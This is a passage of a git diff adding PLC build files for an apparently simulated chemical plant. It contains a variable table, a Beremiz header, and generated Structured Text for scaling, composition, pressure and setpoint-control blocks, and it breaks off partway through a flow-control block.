+260;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;REAL; +261;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;REAL; +262;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;SCALE_TO_REAL; +263;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;BOOL; +264;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;BOOL; +265;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +266;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;REAL; +267;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;REAL; +268;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;REAL; +269;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;UINT; +270;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;UINT; +271;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;REAL; +272;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;REAL; +273;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;REAL; +274;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;REAL; +275;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;REAL; +276;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +277;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +278;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +279;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +280;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +281;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +282;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +283;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +284;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +285;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +286;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +287;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +288;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +289;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +290;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +291;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +292;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +293;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +294;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +295;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +296;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +297;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +298;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +299;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +300;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +301;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +302;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +303;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +304;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +305;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +306;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +307;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +308;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +309;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +310;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +311;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +312;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +313;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +314;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +315;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +316;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +317;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +318;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +319;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +320;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +321;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +322;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +323;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +324;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +325;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +326;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +327;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +328;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +329;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +330;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +331;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +332;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +333;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +334;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +335;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +336;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +337;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +338;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +339;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +340;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +341;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +342;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +343;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +344;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +345;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +346;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +347;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +348;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +349;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +350;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +351;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +352;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +353;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +354;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +355;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +356;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +357;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +358;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +359;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +360;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +361;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +362;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +363;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +364;VAR;CONFIG0.RES0.INSTANCE0.MOVE99_ENO;CONFIG0.RES0.INSTANCE0.MOVE99_ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.MOVE99_OUT;CONFIG0.RES0.INSTANCE0.MOVE99_OUT;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.MOVE4_ENO;CONFIG0.RES0.INSTANCE0.MOVE4_ENO;BOOL; +367;VAR;CONFIG0.RES0.INSTANCE0.MOVE4_OUT;CONFIG0.RES0.INSTANCE0.MOVE4_OUT;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.MOVE5_ENO;CONFIG0.RES0.INSTANCE0.MOVE5_ENO;BOOL; +369;VAR;CONFIG0.RES0.INSTANCE0.MOVE5_OUT;CONFIG0.RES0.INSTANCE0.MOVE5_OUT;UINT; +370;VAR;CONFIG0.RES0.INSTANCE0.MOVE7_ENO;CONFIG0.RES0.INSTANCE0.MOVE7_ENO;BOOL; +371;VAR;CONFIG0.RES0.INSTANCE0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.MOVE7_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so new file mode 100755 index 0000000..bc7c666 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st new file mode 100644 index 0000000..09e07a5 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st @@ -0,0 +1,479 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 30801; + press_sp_c : UINT := 55295; + over_sp_c : UINT := 31675; + level_sp_c : UINT := 28835; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 